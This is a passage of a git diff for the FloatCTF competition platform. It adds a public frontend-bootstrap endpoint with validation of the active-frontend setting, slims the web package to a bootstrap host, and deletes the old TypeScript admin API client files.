/// 平台设置 `FRONTEND_ACTIVE`(非法值已回落 `default`)。 + pub active_frontend: String, + /// 平台版本(`CARGO_PKG_VERSION`)。 + pub platform_version: String, + /// 前端可见的 HTTP API 契约 major。 + pub api_contract_version: String, + /// 前端运行时(制品 / `mount`)契约 major。 + pub frontend_runtime_version: String, + /// 真实且稳定的平台能力标记。 + pub capabilities: Vec, +} diff --git a/apps/api/src/modules/platform/frontend/mod.rs b/apps/api/src/modules/platform/frontend/mod.rs new file mode 100644 index 00000000..69f2513f --- /dev/null +++ b/apps/api/src/modules/platform/frontend/mod.rs @@ -0,0 +1,14 @@ +//! 可插拔前端的公开引导端点(`GET /api/frontend`)。 +//! +//! 后端在这里**只**知道两件事(见 docs/frontend/ARCHITECTURE.md): +//! 1. 当前生效的前端标识(动态设置 `FRONTEND_ACTIVE`) +//! 2. 平台版本、API/运行时契约版本与真实能力标记 +//! +//! 它**不知道**路由、页面、布局、登录页、侧栏——UI 结构完全由前端自己拥有。 +//! 前端安装/版本解析由文件系统注册表 + `scripts/frontend.sh` 负责,与本模块无关。 + +pub mod api; +pub mod domain; +pub mod dto; + +pub use dto::FrontendBootstrapDto; diff --git a/apps/api/src/modules/platform/mod.rs b/apps/api/src/modules/platform/mod.rs index 7ba472ec..a960db0a 100644 --- a/apps/api/src/modules/platform/mod.rs +++ b/apps/api/src/modules/platform/mod.rs @@ -2,11 +2,13 @@ pub mod announcements; pub mod files; +pub mod frontend; pub mod operations; pub mod settings; pub use announcements::AnnouncementsDto; pub use files::presign_private_download_url; +pub use frontend::FrontendBootstrapDto; pub use operations::{LogsDto, ScheduledTasksDto}; pub use settings::SettingsDto; @@ -14,6 +16,9 @@ use actix_web::web::{ServiceConfig, scope}; /// 选手侧平台路由(`/api` 下)。 pub fn configure_player_routes(cfg: &mut ServiceConfig) { + // GET /api/frontend —— 未认证的公开前端引导元数据(登录前必须可用)。 + cfg.service(scope("/frontend").service(frontend::api::get_frontend_bootstrap)); + cfg.service(scope("/announcements").service(announcements::get_player_announcements)); cfg.service( diff --git a/apps/api/src/modules/platform/settings/api.rs b/apps/api/src/modules/platform/settings/api.rs index 9747b337..20f78611 100644 --- a/apps/api/src/modules/platform/settings/api.rs +++ b/apps/api/src/modules/platform/settings/api.rs @@ -5,8 +5,25 @@ use crate::{ api::{dto::DeleteItemsRequest, prelude::*}, entity::{sea_orm_active_enums::SettingValueType, settings}, infrastructure::settings::{resolve_setting_value, resolve_value_with_map}, + modules::platform::frontend::api::FRONTEND_ACTIVE_SETTING_KEY, + modules::platform::frontend::domain::is_safe_frontend_id, }; +/// `FRONTEND_ACTIVE` 的值必须是安全前端 ID。 +/// +/// 这个值会出现在**未认证**的 `GET /api/frontend` 响应里,也是浏览器解析本地注册表 +/// 的依据。写入非法值(路径穿越、大写、空串)不会造成越权(后端会回落 `default`), +/// 但会让"设置看起来改成功了、前端却还是旧的"这种故障极难排查,所以在写入时就拒绝。 +fn validate_setting_value(key: &str, value: &str) -> Result<(), AppError> { + if key == FRONTEND_ACTIVE_SETTING_KEY && !is_safe_frontend_id(value) { + return Err(AppError::BadRequest(format!( + "{} 必须是安全前端 ID([a-z0-9][a-z0-9._-]*,最长 64 字符): {}", + FRONTEND_ACTIVE_SETTING_KEY, value + ))); + } + Ok(()) +} + /// GET /api/admin/settings #[get("")] pub async fn get_settings(_user: SuperAdminJwtGuard, ctx: ReqCtx) -> UniResult> { @@ -47,6 +64,7 @@ pub async fn create_setting( ) -> UniResult { let user = user.into_inner(); let csr = csr.into_inner(); + validate_setting_value(&csr.key, &csr.value)?; let setting = settings::ActiveModel { key: Set(csr.key), @@ -102,6 +120,11 @@ pub async fn patch_setting( .await? .ok_or(AppError::NotFound(format!("{} 不存在", setting_id)))?; + // 校验用 patch 之后的最终 key/value(只改 key 不改值也要按新 key 校验)。 + let effective_key = psr.key.clone().unwrap_or_else(|| setting.key.clone()); + let effective_value = psr.value.clone().unwrap_or_else(|| setting.value.clone()); + validate_setting_value(&effective_key, &effective_value)?; + let mut m_setting = setting.into_active_model(); psr.key.map(|k| { diff --git a/apps/api/tests/awdp_practice_judge.rs b/apps/api/tests/awdp_practice_judge.rs index 39fe0ca4..3e08e7e4 100644 --- a/apps/api/tests/awdp_practice_judge.rs +++ b/apps/api/tests/awdp_practice_judge.rs @@ -360,15 +360,17 @@ fn push_flow_removed_from_source() { .exists(), "admin practice judge API 文件必须删除" ); - let web_root = format!("{root}/../../apps/web/src"); + // 可插拔前端平台后的真实位置:官方前端在 frontends/default, + // 领域 API 模块(含 awdp.ts)在 @floatctf/sdk。 + let frontend_root = format!("{root}/../../frontends/default/src"); assert!( !std::path::Path::new(&format!( - "{web_root}/routes/admin/events/awdp.$id/judge.tsx" + "{frontend_root}/routes/admin/events/awdp.$id/judge.tsx" )) .exists(), "admin practice judge 前端页面必须删除" ); - let api_ts = std::fs::read_to_string(format!("{web_root}/api/awdp.ts")) + let api_ts = std::fs::read_to_string(format!("{root}/../../packages/sdk/src/api/awdp.ts")) .unwrap_or_else(|e| panic!("read awdp.ts: {e}")); assert!( !api_ts.contains("PracticeJudge") && !api_ts.contains("practice-judge"), diff --git a/apps/web/.env.production b/apps/web/.env.production index a681dc85..842d5257 100644 --- a/apps/web/.env.production +++ b/apps/web/.env.production @@ -1 +1 @@ -VITE_SHOW_DEVTOOLS=false \ No newline at end of file +# Bootstrap 没有任何环境变量配置:一切引导信息来自 GET /api/frontend 与本地注册表。 diff --git a/apps/web/.gitignore b/apps/web/.gitignore index a7da155d..25bfdcad 100644 --- a/apps/web/.gitignore +++ b/apps/web/.gitignore @@ -1,10 +1,5 @@ +# bootstrap 的可再生构建产物 node_modules -.DS_Store dist -dist-ssr *.local -count.txt .env -.nitro -.tanstack -src/routeTree.gen.ts \ No newline at end of file diff --git a/apps/web/README.md b/apps/web/README.md index cdcf4ed7..10f94aec 100644 --- a/apps/web/README.md +++ b/apps/web/README.md @@ -1,7 +1,18 @@ -# @floatctf/web +# @floatctf/web — FloatCTF web bootstrap +This package is **not** a UI. It is the tiny host page that: +1. reads the browser-local break-glass override (`?frontend=`), +2. calls `bootstrapFrontend()` from `@floatctf/frontend-runtime`, +3. which fetches `GET /api/frontend` + the local frontend registry, validates + compatibility, injects the frontend's styles and dynamically imports its ESM entry, +4. falls back to the Default Frontend, and finally renders a built-in emergency page. +The real UI lives in [`frontends/default`](../../frontends/default) and is installed +under `$FLOATCTF_HOME/frontends/`. + +Deliberately React-free, Primer-free and stable. See +[`docs/frontend/ARCHITECTURE.md`](../../docs/frontend/ARCHITECTURE.md). ## License 本项目以 [GNU AGPLv3](LICENSE) 协议发布。 diff --git a/apps/web/biome.json b/apps/web/biome.json index c60300f1..2fe5176b 100644 --- a/apps/web/biome.json +++ b/apps/web/biome.json @@ -1,14 +1,9 @@ { "$schema": "https://biomejs.dev/schemas/1.9.4/schema.json", - "vcs": { - "enabled": false, - "clientKind": "git", - "useIgnoreFile": false - }, "files": { "ignoreUnknown": false, - "ignore": ["src/routeTree.gen.ts"], - "include": ["src/*", ".vscode/*", "index.html", "vite.config.js"] + "ignore": ["dist"], + "include": ["src/*", "index.html", "vite.config.ts"] }, "formatter": { "enabled": true, @@ -20,27 +15,7 @@ "linter": { "enabled": true, "rules": { - "recommended": true, - "style": { - "noNonNullAssertion": "off", - "noUnusedTemplateLiteral": "off", - "useImportType": "off", - "useTemplate": "off" - }, - "a11y": { - "useKeyWithClickEvents": "off", - "useSemanticElements": "off", - "useButtonType": "off" - }, - "complexity": { - "noForEach": "off" - }, - "correctness": { - "useExhaustiveDependencies": "off" - }, - "suspicious": { - "noExplicitAny": "off" - } + "recommended": true } }, "javascript": { diff --git a/apps/web/index.html b/apps/web/index.html index 898c5b48..955657b7 100644 --- a/apps/web/index.html +++ b/apps/web/index.html @@ -12,6 +12,7 @@
- + + diff --git a/apps/web/package.json b/apps/web/package.json index f2fbfd58..04b63876 100644 --- a/apps/web/package.json +++ b/apps/web/package.json @@ -1,67 +1,28 @@ { - "name": "@floatctf/web", - "version": "1.0.0", - "private": true, - "type": "module", - "scripts": { - "dev": "vite --port 13000", - "start": "vite --port 13000", - "build": "vite build && tsc", - "serve": "vite preview", - "test": "vitest run --passWithNoTests", - "format": "biome format", - "lint": "biome lint", - "check": "biome check" - }, - "dependencies": { - "@emotion/is-prop-valid": "1.2.2", - "@faker-js/faker": "^9.6.0", - "@primer/css": "^22.0.2", - "@primer/octicons-react": "^19.15.5", - "@primer/primitives": "^11.1.0", - "@primer/react": "^37.31.0", - "@tailwindcss/vite": "^4.0.6", - "@tanstack/match-sorter-utils": "^8.19.4", - "@tanstack/react-devtools": "^0.2.2", - "@tanstack/react-query": "^5.66.5", - "@tanstack/react-query-devtools": "^5.84.2", - "@tanstack/react-router": "^1.130.2", - "@tanstack/react-router-devtools": "^1.131.5", - "@tanstack/react-table": "^8.21.2", - "@tanstack/router-plugin": "^1.121.2", - "@types/node": "^24.5.0", - "@uiw/react-md-editor": "^4.0.8", - "@xterm/addon-fit": "^0.10.0", - "@xterm/xterm": "^5.5.0", - "ahooks": "^3.9.5", - "axios": "^1.11.0", - "dayjs": "^1.11.13", - "dayjs-plugin-utc": "^0.1.2", - "mermaid": "^11.12.0", - "react": "^19.0.0", - "react-dom": "^19.0.0", - "react-image-crop": "^11.0.8", - "recharts": "^3.2.0", - "rehype-rewrite": "^4.0.2", - "styled-components": "^6.1.19", - "ts-pattern": "^5.8.0", - "zod": "^4.1.13", - "zustand": "^5.0.8" - }, - "devDependencies": { - "@biomejs/biome": "1.9.4", - "@testing-library/dom": "^10.4.0", - "@testing-library/react": "^16.2.0", - "@types/react": "^19.0.8", - "@types/react-dom": "^19.0.3", - "@vitejs/plugin-react": "^4.3.4", - "autoprefixer": "^10.4.21", - "jsdom": "^26.0.0", - "postcss": "^8.5.6", - "tailwindcss": "^4.0.6", - "typescript": "^5.7.2", - "vite": "^6.3.5", - "vitest": "^3.0.5", - "web-vitals": "^4.2.4" - } + "name": "@floatctf/web", + "version": "1.0.0", + "private": true, + "description": "FloatCTF web bootstrap: resolves the installed frontend and mounts it. Intentionally boring and React-free.", + "type": "module", + "license": "AGPL-3.0-only", + "scripts": { + "build": "vite build && tsc --noEmit", + "build:bootstrap": "vite build", + "preview": "vite preview", + "test": "vitest run --passWithNoTests", + "typecheck": "tsc --noEmit", + "lint": "biome lint", + "format": "biome format", + "check": "biome check" + }, + "dependencies": { + "@floatctf/frontend-runtime": "workspace:*" + }, + "devDependencies": { + "@biomejs/biome": "1.9.4", + "jsdom": "^26.0.0", + "typescript": "^5.7.2", + "vite": "^6.3.5", + "vitest": "^3.0.5" + } } diff --git a/apps/web/src/api/__tests__/axiosInterceptors.test.ts b/apps/web/src/api/__tests__/axiosInterceptors.test.ts deleted file mode 100644 index ada6e96b..00000000 --- a/apps/web/src/api/__tests__/axiosInterceptors.test.ts +++ /dev/null @@ -1,103 +0,0 @@ -// @vitest-environment jsdom -import { beforeEach, describe, expect, it, vi } from "vitest"; - -const mocks = vi.hoisted(() => ({ - navigate: vi.fn(), - removeAdminToken: vi.fn(), - removeToken: vi.fn(), -})); - -// 隔离 @/main(路由实例)与登录态 store,只测响应拦截器本身。 -vi.mock("@/main", () => ({ router: { navigate: mocks.navigate } })); -vi.mock("@/stores/AuthStore", () => ({ - useAuthStore: { - getState: () => ({ - adminToken: "admin-token", - token: "user-token", - removeAdminToken: mocks.removeAdminToken, - removeToken: mocks.removeToken, - }), - }, -})); - -import { admin_api, service_api } from "@/api/axios"; - -type RejectedHandler = (error: unknown) => Promise; - -function rejectedHandler(instance: typeof admin_api): RejectedHandler { - const handlers = ( - instance.interceptors.response as unknown as { - handlers: { rejected?: RejectedHandler }[]; - } - ).handlers; - const handler = handlers.find((h) => h.rejected)?.rejected; - if (!handler) { - throw new Error("响应拦截器未注册 rejected handler"); - } - return handler; -} - -describe("axios 响应拦截器:无 response 的网络错误", () => { - beforeEach(() => { - vi.clearAllMocks(); - // 拦截器内部会 console.log(error),测试里静音。 - vi.spyOn(console, "log").mockImplementation(() => {}); - }); - - it("admin_api 原样透传网络错误,不清理管理员登录态", async () => { - const networkError = Object.assign(new Error("Network Error"), { - code: "ERR_NETWORK", - }); - - await expect(rejectedHandler(admin_api)(networkError)).rejects.toBe( - networkError, - ); - expect(mocks.removeAdminToken).not.toHaveBeenCalled(); - expect(mocks.navigate).not.toHaveBeenCalled(); - }); - - it("service_api 原样透传超时错误,不清理用户登录态", async () => { - const timeoutError = Object.assign( - new Error("timeout of 10000ms exceeded"), - { - code: "ECONNABORTED", - }, - ); - - await expect(rejectedHandler(service_api)(timeoutError)).rejects.toBe( - timeoutError, - ); - expect(mocks.removeToken).not.toHaveBeenCalled(); - expect(mocks.navigate).not.toHaveBeenCalled(); - }); - - it("admin_api 401 仍然清理管理员登录态并回到 /admin", async () => { - const unauthorized = { response: { status: 401 } }; - - await expect(rejectedHandler(admin_api)(unauthorized)).rejects.toBe( - unauthorized, - ); - expect(mocks.removeAdminToken).toHaveBeenCalledTimes(1); - expect(mocks.navigate).toHaveBeenCalledWith({ to: "/admin" }); - }); - - it("service_api 401 仍然清理用户登录态并回到 /", async () => { - const unauthorized = { response: { status: 401 } }; - - await expect(rejectedHandler(service_api)(unauthorized)).rejects.toBe( - unauthorized, - ); - expect(mocks.removeToken).toHaveBeenCalledTimes(1); - expect(mocks.navigate).toHaveBeenCalledWith({ to: "/" }); - }); - - it("500 等带响应的错误不影响登录态", async () => { - const serverError = { response: { status: 500 } }; - - await expect(rejectedHandler(admin_api)(serverError)).rejects.toBe( - serverError, - ); - expect(mocks.removeAdminToken).not.toHaveBeenCalled(); - expect(mocks.navigate).not.toHaveBeenCalled(); - }); -}); diff --git a/apps/web/src/api/admin/announcements.ts b/apps/web/src/api/admin/announcements.ts deleted file mode 100644 index 0ec3be5d..00000000 --- a/apps/web/src/api/admin/announcements.ts +++ /dev/null @@ -1,32 +0,0 @@ -import type { Announcements } from "@/entity"; -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; - -export const announcementAdminApi = { - fetch: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get("/announcements", { params }); - return res.data; - }, - create: async ( - announcement: Partial, - ): Promise> => { - const res = await admin_api.post("/announcements", announcement); - return res.data; - }, - remove: async (id_list: string[]): Promise> => { - const res = await admin_api.delete("/announcements", { - data: { id_list }, - }); - return res.data; - }, - patch: async ( - announcement: Partial, - ): Promise> => { - const res = await admin_api.patch( - `/announcements/${announcement.id}`, - announcement, - ); - return res.data; - }, -}; diff --git a/apps/web/src/api/admin/auth.ts b/apps/web/src/api/admin/auth.ts deleted file mode 100644 index 0b468772..00000000 --- a/apps/web/src/api/admin/auth.ts +++ /dev/null @@ -1,12 +0,0 @@ -import { type UniResponse, admin_api } from "@/api/axios"; - -export const adminLoginFn = async ({ - username, - password, -}: { - username: string; - password: string; -}): Promise> => { - const response = await admin_api.post("/session", { username, password }); - return response.data; -}; diff --git a/apps/web/src/api/admin/challenges.ts b/apps/web/src/api/admin/challenges.ts deleted file mode 100644 index 47b49570..00000000 --- a/apps/web/src/api/admin/challenges.ts +++ /dev/null @@ -1,130 +0,0 @@ -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; -import type { ChallengeSets } from "@/entity"; -import type { - BuildChallengeResult, - ChallengeCheckResult, - ChallengeScanItem, - ImportChallengeResponse, -} from "@/routes/admin/challenges"; -import type { ChallengesListItem } from "@/types/challengeDto"; - -export const challengeAdminApi = { - fetch: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get("/challenges", { params }); - return res.data; - }, - create: async ( - challenge: Partial, - ): Promise> => { - const res = await admin_api.post("/challenges", challenge); - return res.data; - }, - patch: async ( - challenge: Partial, - ): Promise> => { - const res = await admin_api.patch(`/challenges/${challenge.id}`, challenge); - return res.data; - }, - // todo: 批量删除 - remove: async (id_list: string[]): Promise> => { - const res = await admin_api.delete("/challenges", { - data: { id_list }, - }); - return res.data; - }, - // 包 zip:meta.toml + src/** + attachment/** - importChallenge: async ( - file: File, - ): Promise> => { - const form = new FormData(); - form.append("package_zip", file, file.name); - - const res = await admin_api.post("/challenges/import", form, { - headers: { - "Content-Type": "multipart/form-data", - }, - }); - return res.data; - }, - checkChallenges: async ( - challenge_id_list?: string[], - ): Promise> => { - const res = await admin_api.post("/challenges/check", { - challenge_id_list, - }); - return res.data; - }, - buildChallenges: async ( - challenge_id_list?: string[], - ): Promise> => { - const res = await admin_api.post("/challenges/build", { - challenge_id_list, - }); - return res.data; - }, - scanChallenges: async (): Promise> => { - const res = await admin_api.post("/challenges/scan"); - return res.data; - }, - getChallengeSets: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get("/challenge_sets", { params }); - return res.data; - }, - createChallengeSet: async ( - challenge_set: Partial, - ): Promise> => { - const res = await admin_api.post("/challenge_sets", challenge_set); - return res.data; - }, - deleteChallengeSet: async ( - id_list: string[], - ): Promise> => { - const res = await admin_api.delete("/challenge_sets", { - data: { id_list }, - }); - return res.data; - }, - getChallengeSet: (id: string) => { - return async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get(`/challenge_sets/${id}`, { - params, - }); - return res.data; - }; - }, - removeChallengeFromSet: (id: string) => { - return async (id_list: string[]): Promise> => { - const res = await admin_api.delete(`/challenge_sets/${id}/challenges`, { - data: { id_list }, - }); - return res.data; - }; - }, - addChallengeToSet: async ({ - set_id, - challenge_id_list, - }: { - set_id: string; - challenge_id_list?: string[]; - }): Promise> => { - const res = await admin_api.post(`/challenge_sets/${set_id}/challenges`, { - challenge_id_list, - }); - return res.data; - }, - patchChallengeSet: async ( - challenge_set: Partial, - ): Promise> => { - const res = await admin_api.patch( - `/challenge_sets/${challenge_set.id}`, - challenge_set, - ); - return res.data; - }, -}; diff --git a/apps/web/src/api/admin/database.ts b/apps/web/src/api/admin/database.ts deleted file mode 100644 index 2c2e5934..00000000 --- a/apps/web/src/api/admin/database.ts +++ /dev/null @@ -1,14 +0,0 @@ -import type { SqlResult, SqlStatement } from "@/routes/admin/database"; -import { type UniResponse, admin_api } from "@/api/axios"; - -export const databaseAdminApi = { - exec_sql: async ({ - sql, - }: SqlStatement): Promise> => { - const res = await admin_api.post("/database/exec_sql", { - sql, - }); - - return res.data; - }, -}; diff --git a/apps/web/src/api/admin/discussions.ts b/apps/web/src/api/admin/discussions.ts deleted file mode 100644 index 3ea78e9b..00000000 --- a/apps/web/src/api/admin/discussions.ts +++ /dev/null @@ -1,39 +0,0 @@ -import type { DiscussionComments, Discussions } from "@/entity"; -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; - -export const discussionAdminApi = { - fetch: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get("/discussions", { params }); - return res.data; - }, - get: async (id: string): Promise> => { - const res = await admin_api.get(`/discussions/${id}`); - return res.data; - }, - remove: async (id_list: string[]): Promise> => { - const res = await admin_api.delete("/discussions", { - data: { id_list }, - }); - return res.data; - }, - getComments: async ( - id: string, - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get(`/discussions/${id}/comments`, { - params, - }); - return res.data; - }, - removeComment: async ( - discussion_id: string, - comment_id: string, - ): Promise> => { - const res = await admin_api.delete( - `/discussions/${discussion_id}/comments/${comment_id}`, - ); - return res.data; - }, -}; diff --git a/apps/web/src/api/admin/docker.ts b/apps/web/src/api/admin/docker.ts deleted file mode 100644 index ea789d6b..00000000 --- a/apps/web/src/api/admin/docker.ts +++ /dev/null @@ -1,98 +0,0 @@ -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; - -export interface FloatDockerContainer { - id: string; - name: string; - status: string; - image: string; - ports: string; - created: number; -} - -export interface ContainerInfo { - id: string; - names: string[]; - image: string; - image_id: string; - state: string; - status: string; - created: number; - ports: PortInfo[]; -} - -export interface PortInfo { - IP?: string; - PrivatePort: number; - PublicPort?: number; - Type: string; -} - -export interface ImageInfo { - id: string; - repo_tags: string[]; - size: number; - created: number; -} - -export interface NetworkInfo { - id: string; - name: string; - driver: string; - scope: string; - ipam_driver: string; - subnet?: string; - gateway?: string; - created: number; -} - -export const dockerAdminApi = { - fetchContainers: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get("/docker/containers", { params }); - return res.data; - }, - stopContainer: async (container_id: string): Promise> => { - const res = await admin_api.post(`/docker/containers/${container_id}/stop`); - return res.data; - }, - startContainer: async (container_id: string): Promise> => { - const res = await admin_api.post( - `/docker/containers/${container_id}/start`, - ); - return res.data; - }, - deleteContainer: async (container_id: string): Promise> => { - const res = await admin_api.delete(`/docker/containers/${container_id}`); - return res.data; - }, - fetchImages: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get("/docker/images", { params }); - return res.data; - }, - deleteImage: async (image_id: string): Promise> => { - const res = await admin_api.delete(`/docker/images/${image_id}`); - return res.data; - }, - fetchNetworks: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get("/docker/networks", { params }); - return res.data; - }, - createNetwork: async (network: { - name: string; - subnet: string; - gateway: string; - driver?: string; - }): Promise> => { - const res = await admin_api.post("/docker/networks", network); - return res.data; - }, - deleteNetwork: async (network_id: string): Promise> => { - const res = await admin_api.delete(`/docker/networks/${network_id}`); - return res.data; - }, -}; diff --git a/apps/web/src/api/admin/download.ts b/apps/web/src/api/admin/download.ts deleted file mode 100644 index eb67600d..00000000 --- a/apps/web/src/api/admin/download.ts +++ /dev/null @@ -1,26 +0,0 @@ -import { admin_api } from "@/api/axios"; - -export const downloadAdminApi = { - download: async (key: string): Promise => { - const res = await admin_api.get(`/download`, { - params: { key }, - }); - const url = res.data.data; - const blobRes = await fetch(url); - // 4xx/5xx(如 RustFS 验签失败返回的 403 XML)不保存成 .pdf/.zip - if (!blobRes.ok) { - throw new Error(`download failed: HTTP ${blobRes.status}`); - } - const blob = await blobRes.blob(); - // 内容类型校验:XML 错误页不应被当作文件保存 - if (blob.type.includes("xml") || blob.type.includes("html")) { - throw new Error(`download failed: unexpected content type ${blob.type}`); - } - const blobUrl = URL.createObjectURL(blob); - const a = document.createElement("a"); - a.href = blobUrl; - a.download = key.split("/").pop() || "download"; - a.click(); - URL.revokeObjectURL(blobUrl); - }, -}; diff --git a/apps/web/src/api/admin/event_announcements.ts b/apps/web/src/api/admin/event_announcements.ts deleted file mode 100644 index c5e4ea7c..00000000 --- a/apps/web/src/api/admin/event_announcements.ts +++ /dev/null @@ -1,48 +0,0 @@ -import type { EventAnnouncements } from "@/entity"; -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; - -export const eventAnnouncementAdminApi = { - fetch: (event_id: string) => { - return async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get( - `/events/${event_id}/announcements`, - { - params, - }, - ); - return res.data; - }; - }, - - create: (event_id: string) => { - return async (announcement: Partial) => { - const res = await admin_api.post( - `/events/${event_id}/announcements`, - announcement, - ); - return res.data; - }; - }, - patch: (event_id: string) => { - return async (announcement: Partial) => { - const res = await admin_api.patch( - `/events/${event_id}/announcements/${announcement.id}`, - announcement, - ); - return res.data; - }; - }, - remove: (event_id: string) => { - return async (id_list: string[]) => { - const res = await admin_api.delete( - `/events/${event_id}/announcements`, - { - data: { id_list }, - }, - ); - return res.data; - }; - }, -}; diff --git a/apps/web/src/api/admin/event_challenges.ts b/apps/web/src/api/admin/event_challenges.ts deleted file mode 100644 index d9febf41..00000000 --- a/apps/web/src/api/admin/event_challenges.ts +++ /dev/null @@ -1,98 +0,0 @@ -import type { JeopardyEventChallenges as EventChallenges } from "@/entity"; -import type { EventChallengeResult } from "@/routes/admin/events/jeopardy.$id"; -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; - -export const eventChallengeAdminApi = { - fetch: (event_id: string) => { - return async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get(`/events/${event_id}/challenges`, { - params, - }); - return res.data; - }; - }, - - add: async ({ - event_id, - challenge_id_list, - challenge_id, - points, - }: { - event_id: string; - challenge_id_list?: string[]; - challenge_id?: string; - points?: number; - }): Promise> => { - const res = await admin_api.post(`/events/${event_id}/challenges`, { - challenge_id_list, - challenge_id, - points, - }); - return res.data; - }, - setPoints: async ({ - event_id, - challenge_id_list, - points, - }: { - event_id: string; - challenge_id_list: string[]; - points: number; - }): Promise> => { - const res = await admin_api.patch(`/events/${event_id}/challenges`, { - challenge_id_list, - points, - }); - return res.data; - }, - remove: (event_id: string) => { - return async (id_list: string[]): Promise> => { - console.log(id_list); - const res = await admin_api.delete( - `/events/${event_id}/challenges`, - { - data: { id_list }, - }, - ); - return res.data; - }; - }, - open: async ({ - event_id, - challenge_id_list, - challenge_id, - }: { - event_id: string; - challenge_id_list?: string[]; - challenge_id?: string; - }): Promise> => { - const res = await admin_api.post( - `/events/${event_id}/challenges/open`, - { - challenge_id_list, - challenge_id, - }, - ); - return res.data; - }, - hidden: async ({ - event_id, - challenge_id_list, - challenge_id, - }: { - event_id: string; - challenge_id_list?: string[]; - challenge_id?: string; - }): Promise> => { - const res = await admin_api.post( - `/events/${event_id}/challenges/hidden`, - { - challenge_id_list, - challenge_id, - }, - ); - return res.data; - }, -}; diff --git a/apps/web/src/api/admin/event_logs.ts b/apps/web/src/api/admin/event_logs.ts deleted file mode 100644 index ac8b9cff..00000000 --- a/apps/web/src/api/admin/event_logs.ts +++ /dev/null @@ -1,15 +0,0 @@ -import type { EventLogs } from "@/entity"; -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; - -export const eventLogAdminApi = { - fetch: (event_id: string) => { - return async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get(`/events/${event_id}/logs`, { - params, - }); - return res.data; - }; - }, -}; diff --git a/apps/web/src/api/admin/event_teams.ts b/apps/web/src/api/admin/event_teams.ts deleted file mode 100644 index f522062f..00000000 --- a/apps/web/src/api/admin/event_teams.ts +++ /dev/null @@ -1,43 +0,0 @@ -import type { TeamResult } from "@/routes/admin/events/jeopardy.$id/teams"; -import { type UniResponse, admin_api } from "@/api/axios"; - -export const eventTeamAdminApi = { - getTeams: (id: string) => { - return async (): Promise> => { - const res = await admin_api.get(`/events/${id}/teams`); - return res.data; - }; - }, - remove: (id: string) => { - return async (id_list: string[]): Promise> => { - const res = await admin_api.delete(`/events/${id}/teams`, { - data: { id_list }, - }); - return res.data; - }; - }, - banned: async ({ - event_id, - team_id, - }: { - event_id: string; - team_id: string; - }) => { - const res = await admin_api.post( - `/events/${event_id}/teams/${team_id}/banned`, - ); - return res.data; - }, - unbanned: async ({ - event_id, - team_id, - }: { - event_id: string; - team_id: string; - }) => { - const res = await admin_api.post( - `/events/${event_id}/teams/${team_id}/unbanned`, - ); - return res.data; - }, -}; diff --git a/apps/web/src/api/admin/event_users.ts b/apps/web/src/api/admin/event_users.ts deleted file mode 100644 index b9d4a0af..00000000 --- a/apps/web/src/api/admin/event_users.ts +++ /dev/null @@ -1,61 +0,0 @@ -import type { EventUserResult } from "@/routes/admin/events/jeopardy.$id/users"; -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; - -export const eventUserAdminApi = { - fetch: (event_id: string) => { - return async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get(`/events/${event_id}/users`, { - params, - }); - return res.data; - }; - }, - add: ({ - event_id, - user_id, - user_id_list, - }: { - event_id: string; - user_id?: string; - user_id_list?: string[]; - }): Promise> => { - return admin_api.post(`/events/${event_id}/users`, { - user_id, - user_id_list, - }); - }, - delete: (event_id: string) => { - return async (id_list: string[]): Promise> => { - const res = await admin_api.delete(`/events/${event_id}/users`, { - data: { id_list }, - }); - return res.data; - }; - }, - banned: async ({ - event_id, - user_id, - }: { - event_id: string; - user_id: string; - }): Promise> => { - const res = await admin_api.post( - `/events/${event_id}/users/${user_id}/banned`, - ); - return res.data; - }, - unbanned: async ({ - event_id, - user_id, - }: { - event_id: string; - user_id: string; - }): Promise> => { - const res = await admin_api.post( - `/events/${event_id}/users/${user_id}/unbanned`, - ); - return res.data; - }, -}; diff --git a/apps/web/src/api/admin/event_writeups.ts b/apps/web/src/api/admin/event_writeups.ts deleted file mode 100644 index e6437464..00000000 --- a/apps/web/src/api/admin/event_writeups.ts +++ /dev/null @@ -1,15 +0,0 @@ -import type { EventWriteup } from "@/entity"; -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; - -export const eventWriteupAdminApi = { - fetch: (event_id: string) => { - return async ( - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get(`/events/${event_id}/writeups`, { - params, - }); - return res.data; - }; - }, -}; diff --git a/apps/web/src/api/admin/events.ts b/apps/web/src/api/admin/events.ts deleted file mode 100644 index 7b976ea3..00000000 --- a/apps/web/src/api/admin/events.ts +++ /dev/null @@ -1,54 +0,0 @@ -import type { Events } from "@/entity"; -import type { DataPresent } from "@/routes/admin/events/jeopardy.$id/data_present"; -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; - -export const eventAdminApi = { - fetch: async (params: QueryParams = {}): Promise> => { - const res = await admin_api.get("/events", { params }); - return res.data; - }, - create: async (event: Partial): Promise> => { - const res = await admin_api.post("/events", event); - return res.data; - }, - patch: async (event: Partial): Promise> => { - const res = await admin_api.patch(`/events/${event.id}`, event); - return res.data; - }, - remove: async (id_list: string[]): Promise> => { - const res = await admin_api.delete("/events", { data: { id_list } }); - return res.data; - }, - get: async (id: string): Promise> => { - const res = await admin_api.get(`/events/${id}`); - return res.data; - }, - getData: async (id: string): Promise> => { - const res = await admin_api.get(`/events/${id}/data`); - return res.data; - }, - getReport: async (event_id: string): Promise> => { - const res = await admin_api.get(`/events/${event_id}/report`); - return res.data; - }, - exportWriteUps: async 